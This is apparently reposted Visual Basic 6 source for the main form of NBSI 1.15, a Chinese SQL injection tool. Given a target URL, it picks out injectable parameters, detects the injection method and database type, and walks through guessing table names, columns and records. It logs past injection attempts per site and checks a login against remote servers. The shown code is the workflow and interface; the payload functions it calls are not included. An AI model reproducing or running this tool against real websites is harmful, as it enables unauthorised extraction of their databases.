信息来源：HaK_BaN
CODE
复制内容到剪贴板
代码:
Const HTTP_200_INC = " 200 "
Const HTTP_500_INC = " 500 "
Const ValidateStr = "
Public Decide_Method, Inject_Method, Database_Type, SiteID, NBLevel As Integer
Public TxtURL, KeyWord, FieldListMain, FieldListSub, AscStr, DescStr, TableName, TableNameselected, ReturnBody, ReturnHead, URL_Check_End, GetValidate As String
Public StopFlag, UrlChanged, LoginYN, ErrorYN As Boolean
Dim conn As New ADODB.Connection
Private Sub btnExport_Click()
FileList.Refresh
FileList.Show
End Sub
Private Sub btnHelp_Click()
FormCompare.Show
End Sub
Private Sub Form_Click()
InjectList.Visible = False
End Sub
Private Sub Image1_Click()
IE = Shell("C:Progra~1Intern~1IEXPLORE.EXE [url]http://www.54NB.com/?From=NBSI[/url]";)
End Sub
Private Sub URL_Click()
Call URL_KeyUp(0, 0)
End Sub
Private Sub URL_KeyUp(KeyCode As Integer, Shift As Integer)
On Error Resume Next
TxtURL = URL.Text
Pos = InStr(TxtURL, "?")
InjectList.Clear
If Pos > 0 Then
ScriptName = Left(TxtURL, Pos - 1)
Parameters = Split(Mid(TxtURL, Pos + 1), "&")
If UBound(Parameters) > 0 Then
For i = 0 To UBound(Parameters)
InjectURL = Replace(TxtURL, "?" & Parameters(i), "")
InjectURL = Replace(InjectURL, "&" & Parameters(i), "")
InjectURL = InjectURL & "&" & Parameters(i)
InjectURL = Replace(InjectURL, ScriptName & "&", ScriptName & "?")
InjectList.AddItem (InjectURL)
Next
End If
InjectList.Visible = True
End If
On Error GoTo 0
End Sub
Private Sub InjectList_DBLClick()
URL.Text = InjectList.List(InjectList.ListIndex)
End Sub
Private Sub InjectList_LostFocus()
InjectList.Visible = False
End Sub
Private Sub txtFieldName_Change()
If txtFieldName.Text = "手工输入表名" Then txtFieldName.Text = ""
End Sub
Private Sub txtRecStart_LostFocus()
If Not IsNumeric(txtRecStart.Text) Then
MsgBox ("请输入开始猜解的记录数,必须为整数!")
txtRecStart.SetFocus
Exit Sub
End If
txtRecStart.Text = Int(txtRecStart.Text)
If txtRecStart.Text < 1 Then
MsgBox ("请输入开始猜解的记录数,必须为大于零!")
txtRecStart.SetFocus
Exit Sub
End If
End Sub
Private Sub txtTableName_Change()
If txtTableName.Text = "手工输入表名" Then txtTableName.Text = ""
End Sub
Private Sub URL_Change()
If btnCheck.Enabled = False Then UrlChanged = True
MethodGet.Enabled = True
MethodPost.Enabled = True
If LoginYN Then btnCheck.Enabled = True
btnCheck.Caption = "检测"
End Sub
Private Sub URL_GotFocus()
TmpURL.Text = URL.Text
End Sub
'----------------------------------------------------------------------------------------------
' Form Load
'----------------------------------------------------------------------------------------------
Private Sub Form_Load()
If Date > CDate("2008-07-01") Then Exit Sub
If Command = "ver" Then
MsgBox ("NBSI 1.15 U10001")
Exit Sub
End If
On Error Resume Next
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & App.Path & "History.MDB"
sql = "delete from SiteList where Decide_Method=0"
conn.Execute (sql)
sql = "select Setvalue from Setting where SetName='LastURL'"
Set rsSetting = conn.Execute(sql)
URL.Text = rsSetting("Setvalue")
Set rsSetting = Nothing
UrlChanged = False
Help.Text = "提示：" & vbCrLf & "请先输入您所要注入的网址" & vbCrLf & "[检测]是否存在注入漏洞"
LoginYN = False
btnLogin.SetFocus
End Sub
Private Sub Form_Resize()
If Me.WindowState <> 1 Then
If Me.Width <> 11025 Then Me.Width = 10240
If Me.Height <> 7845 Then Me.Height = 7590
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
Set conn = Nothing
End
End Sub
Private Sub Password_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then Call btnLogin_Click
End Sub
Private Sub btnLogin_Click()
btnLogin.Enabled = False
strUserName = UserName.Text
strPassword = URLEncode(Password.Text)
If strUserName = "ilove54nb" And strPassword = "ilove54nb" And Date < CDate("2004-08-01") Then
NBLevel = 1
ElseIf strUserName = "" Or strPassword = "" Then
NBLevel = -5
Else
Dim CheckURL(3)
CheckURL(1) = "[url]http://www.54nb.com/?From=NBSI&UserID=[/url]"; & strUserName & "&Password=" & strPassword & "&ver=1.15"
CheckURL(2) = "[url]http://bbs.54nb.com/?From=NBSI&UserID=[/url]"; & strUserName & "&Password=" & strPassword & "&ver=1.15"
CheckURL(3) = "[url]http://www.unionbyte.com/Blog/NBSI.ASP?From=NBSI&UserID=[/url]"; & strUserName & "&Password=" & strPassword & "&ver=1.15"
On Error Resume Next
For i = 1 To UBound(CheckURL)
Err.Clear
btnLogin.Caption = "尝试" & i
ValidateArr = CommonGetHTTPHeadAndBody(CheckURL(i))
If Err.Number = 0 Then
If InStr(ValidateArr(0), HTTP_200_INC) > 0 Then
If InStr(ValidateArr(1), " 0 Then
PosBegin = InStr(ValidateArr(1), " PosEnd = InStr(PosBegin, ValidateArr(1), """>")
RedirectURL = Mid(ValidateArr(1), PosBegin, PosEnd - PosBegin)
ValidateArr = CommonGetHTTPHeadAndBody(RedirectURL)
End If
GetValidate = ValidateArr(1)
Exit For
End If
End If
Next
On Error GoTo 0
If IsNull(GetValidate) Or GetValidate = "" Or InStr(GetValidate, ValidateStr) = 0 Then
NBLevel = -4
Else
PosBegin = InStr(GetValidate, ValidateStr)
PosBegin = PosBegin + Len(ValidateStr)
PosEnd = InStr(PosBegin, GetValidate, ">")
NBLevel = Mid(GetValidate, PosBegin, PosEnd - PosBegin)
If IsNumeric(NBLevel) Then
NBLevel = Int(NBLevel)
Else
NBLevel = -3
End If
End If
End If
If NBLevel > 0 Then
FrameLogin.Visible = False
FrameBack.Visible = False
LoginYN = True
btnCheck.Enabled = True
URL.Enabled = True
Message = "用户名密码正确,身份验证成功!" & vbCrLf & vbCrLf & "注意:本工具限用于网站漏洞检测,请勿用于非法用途,否则后果自负!"
Call MsgBox(Message, 48, "NBSI提示信息")
Else
btnLogin.Enabled = True
btnLogin.Caption = "登 录"
Message = "登录失败,请输入正确的用户名密码!如有疑问请与作者联系" & vbCrLf & vbCrLf & "错误代码:" & NBLevel
Call MsgBox(Message, 48, "NBSI提示信息")
End If
ProgressBar.value = 0
End Sub
Private Sub btnExit_Click()
End
End Sub
'----------------------------------------------------------------------------------------------
' Main Operate
'----------------------------------------------------------------------------------------------
Private Sub btnCheck_Click()
InjectList.Visible = False
If UrlChanged Then
selectedvalue = MsgBox("您是否要终止本猜解任务，并开始另一网址的检测？", 4 + 32, "NBSI提示信息")
If selectedvalue = 6 Then
If LoginYN Then btnCheck.Enabled = True
btnCheck.Caption = "检测"
TxtKeyword.Enabled = False: TxtKeyword.Text = ""
OptDecide_Method(0).Enabled = False: OptDecide_Method(0).value = False
OptDecide_Method(1).Enabled = False: OptDecide_Method(1).value = False
OptDecide_Method(2).Enabled = False: OptDecide_Method(2).value = False
OptInject_Method(0).Enabled = False: OptInject_Method(0).value = False
OptInject_Method(1).Enabled = False: OptInject_Method(1).value = False
OptInject_Method(2).Enabled = False: OptInject_Method(2).value = False
OptDatabase_Type(0).Enabled = False: OptDatabase_Type(0).value = False
OptDatabase_Type(1).Enabled = False: OptDatabase_Type(1).value = False
OptDatabase_Type(2).Enabled = False: OptDatabase_Type(2).value = False
TableList.Enabled = False: TableList.Clear
FieldList.Enabled = False: FieldList.Clear
RecordList.Enabled = False: RecordList.Clear
txtTableName.Enabled = False: txtTableName.Text = "手工输入表名"
txtFieldName.Enabled = False: txtFieldName.Text = "手工输入列名"
txtCondition.Enabled = False: txtCondition.Text = "1=1"
txtRecStart.Enabled = False: txtRecStart.Text = "1"
Txtselectedvalue.Enabled = False: Txtselectedvalue.Text = "当前记录提示"
btnGetTable.Enabled = False
btnGetField.Enabled = False
btnGetRecord.Enabled = False
btnAddTable.Enabled = False
btnAddField.Enabled = False
btnDelTable.Enabled = False
btnDelField.Enabled = False
btnExport.Enabled = False
UrlChanged = False
Else
btnCheck.Enabled = False
URL.Text = TmpURL.Text
Exit Sub
End If
End If
ProgressBar.value = 0
TxtURL = URL.Text
If InStr(TxtURL, "?") = 0 Or InStr(TxtURL, ".") = 0 Or InStr(TxtURL, "=") = 0 Or InStr(Replace(TxtURL, "//", ""), "/") = 0 Then
Call MsgBox("待测网址格式有误，请检查！", 64, "提示信息")
URL.SetFocus
Exit Sub
End If
Pos = InStr(TxtURL, "//") + 2
SiteAddress = Mid(TxtURL, Pos)
Pos = InStr(SiteAddress, "/") - 1
SiteAddress = Left(SiteAddress, Pos)
SiteAddress = Replace(SiteAddress, "'", "''")
TxtSiteAddress.Text = SiteAddress
If btnCheck.Caption = "再检测" Then
KeyWord = TxtKeyword.Text
If Len(KeyWord) = 0 Then
Call MsgBox("请输入特征字符!", 64, "提示信息")
Exit Sub
End If
btnCheck.Enabled = False
Decide_Method = FunDecide_Method_ByKeyword(TxtURL, KeyWord)
If Decide_Method > 0 Then
TxtKeyword.Enabled = False
Else
If LoginYN Then btnCheck.Enabled = True
OptDecide_Method(0).Caption = "没有找到注入方法，破解失败"
Exit Sub
End If
sql = "update SiteList set KeyWord='" & Replace(KeyWord, "'", "''") & "',Decide_Method=" & Decide_Method & " where SiteID=" & SiteID
conn.Execute (sql)
Else
sql = "select Top 1 * from SiteList where SiteAddress='" & SiteAddress & "' And Decide_Method>0 order by SiteID desc"
Set rs = conn.Execute(sql)
If Not rs.EOF Then
Message = "您于" & rs("Inject_Time") & "尝试注入网站：" & SiteAddress & vbCrLf & vbCrLf & _
"是否加载该次注入结果？"
selectedvalue = MsgBox(Message, 4 + 32, "提示信息")
If selectedvalue = 6 Then
SiteID = rs("SiteID")
Call LoadOldData(SiteID)
Else
SiteID = 0
End If
End If
Set rs = Nothing
If SiteID = 0 Then
sql = "select max(SiteID) as MaxID from SiteList"
Set rs = conn.Execute(sql)
SiteID = IIf(IsNull(rs("MaxID")), 1, rs("MaxID") + 1)
Set rs = Nothing
sql = "insert Into SiteList(SiteID,SiteAddress,InjectURL) values(" & SiteID & ",'" & SiteAddress & "','" & TxtURL & "')"
conn.Execute (sql)
Else
Exit Sub
End If
sql = "update Setting set Setvalue='" & TxtURL & "' where SetName='LastURL'"
conn.Execute (sql)
Decide_Method = FunDecide_Method(TxtURL)
If Decide_Method = 11 Then
Decide_Method = 1
Inject_Method = 1
Database_Type = 1
ElseIf Decide_Method = 21 Then
Decide_Method = 1
Inject_Method = 2
Database_Type = 1
ElseIf Decide_Method = 31 Then
Decide_Method = 1
Inject_Method = 3
Database_Type = 1
End If
sql = "update SiteList set Decide_Method=" & Decide_Method & " where SiteID=" & SiteID
conn.Execute (sql)
End If
OptDecide_Method(0).Enabled = False
OptDecide_Method(0).value = False
OptDecide_Method(Decide_Method).Enabled = True
OptDecide_Method(Decide_Method).value = True
MethodGet.Enabled = False
MethodPost.Enabled = False
select Case Decide_Method
Case 1
btnAnalyse.Enabled = True
Help.Text = "提示：" & vbCrLf & "系统检测到可使用HTTP报头错误捕抓，无需输入特征字符" & vbCrLf & "请直接进入下一步：[分析]"
Call Continue_Analyse
Case 2
btnAnalyse.Enabled = True
If btnCheck.Caption = "再检测" Then
Call Continue_Analyse
Else
Help.Text = "提示：" & vbCrLf & "请输入特征字符并点击[分析]按钮，系统将自动检测注入方式及数据库类型！"
End If
Case 0
TxtKeyword.Enabled = True
TxtKeyword.SetFocus
btnCheck.Caption = "再检测"
btnHelp.Enabled = True
Help.Text = "提示：" & vbCrLf & "暂时没有检测到注入方法（不表示破解任务失败）" & vbCrLf & "请输入网页特征字符并点击[再测试]按钮，系统会使用另一方法进行测试"
End select
ProgressBar.value = 100
End Sub
Private Sub Continue_Analyse()
ProgressBar.value = 0
btnAnalyse.Enabled = False
If OptInject_Method(0).value = False And OptInject_Method(0).value = False And OptInject_Method(0).value = False Then
If Inject_Method = 0 Then
If Decide_Method = 1 Then
Inject_Method = FunInject_Method(TxtURL)
Else
If Len(TxtKeyword.Text) = 0 Then
Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
Exit Sub
End If
Inject_Method = FunInject_Method_ByKeyword(TxtURL, KeyWord)
End If
End If
End If
If Inject_Method > 0 Then
OptInject_Method(Inject_Method - 1).Enabled = True
OptInject_Method(Inject_Method - 1).value = True
End If
If Database_Type = 0 Then
If Decide_Method = 1 Then
Database_Type = FunDatabase_Type(TxtURL, Decide_Method, Inject_Method)
Else
If Len(TxtKeyword.Text) = 0 Then
Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
Exit Sub
End If
Database_Type = FunDatabase_Type_ByKeyword(TxtURL, Decide_Method, Inject_Method)
End If
End If
If Database_Type > 0 Then
OptDatabase_Type(Database_Type - 1).Enabled = True
OptDatabase_Type(Database_Type - 1).value = True
End If
sql = "update SiteList set Inject_Method=" & Inject_Method & ",Database_Type=" & Database_Type & " where SiteID=" & SiteID
conn.Execute (sql)
Help.Text = "提示:" & vbCrLf & "分析完毕，本网址可注入，请进入下一步骤：表名猜解"
btnGetTable.Enabled = True
txtTableName.Enabled = True
btnAddTable.Enabled = True
TableList.Enabled = True
TxtKeyword.Enabled = False
ProgressBar.value = 100
End Sub
Private Sub LoadOldData(ByVal SiteID As Integer)
sql = "select * from SiteList where SiteID=" & SiteID
Set rs = conn.Execute(sql)
If Not rs.EOF Then
Decide_Method = rs("Decide_Method")
OptDecide_Method(Decide_Method).Enabled = True
OptDecide_Method(Decide_Method).value = True
If Decide_Method = 2 Then
KeyWord = IIf(IsNull(rs("Keyword")), "", rs("Keyword"))
'TxtKeyword.Enabled = True
TxtKeyword.Text = KeyWord
End If
Inject_Method = rs("Inject_Method")
If Inject_Method > 0 Then
OptInject_Method(Inject_Method - 1).Enabled = True
OptInject_Method(Inject_Method - 1).value = True
End If
Database_Type = rs("Database_Type")
If Database_Type > 0 Then
OptDatabase_Type(Database_Type - 1).Enabled = True
OptDatabase_Type(Database_Type - 1).value = True
End If
btnCheck.Enabled = False
End If
Set rs = Nothing
Call ReloadTableName(SiteID)
TableList.Enabled = True
txtTableName.Enabled = True
btnGetTable.Enabled = True
btnAddTable.Enabled = True
End Sub
Private Sub RecordList_Click()
On Error Resume Next
FieldArr = Split(TxtRecordField.Text, ",")
valueArr = Split(RecordList.List(RecordList.ListIndex), "|")
For i = 0 To UBound(FieldArr) - 1
RecordStr = RecordStr & FieldArr(i) & ":" & valueArr(i) & " "
Next
Txtselectedvalue.Text = Left(RecordStr, Len(RecordStr) - 1)
On Error GoTo 0
End Sub
'----------------------------------------------------------------------------------------------
' Operate of Table
'----------------------------------------------------------------------------------------------
Private Sub TableList_Click()
If TableList.ListIndex >= 0 Then
btnDelTable.Enabled = True
If Left(TableList.List(TableList.ListIndex), 2) = "Y_" And btnGetTable.Caption = "猜解表名" Then
btnGetField.Enabled = True
FieldList.Enabled = True
txtFieldName.Enabled = True
btnAddField.Enabled = True
Else
btnGetField.Enabled = False
FieldList.Enabled = False
txtFieldName.Enabled = False
btnAddField.Enabled = False
End If
End If
TableNameselected = Mid(TableList.List(TableList.ListIndex), 3)
txtTableName.Text = TableNameselected
Call ReloadFieldName(SiteID, TableNameselected)
End Sub 
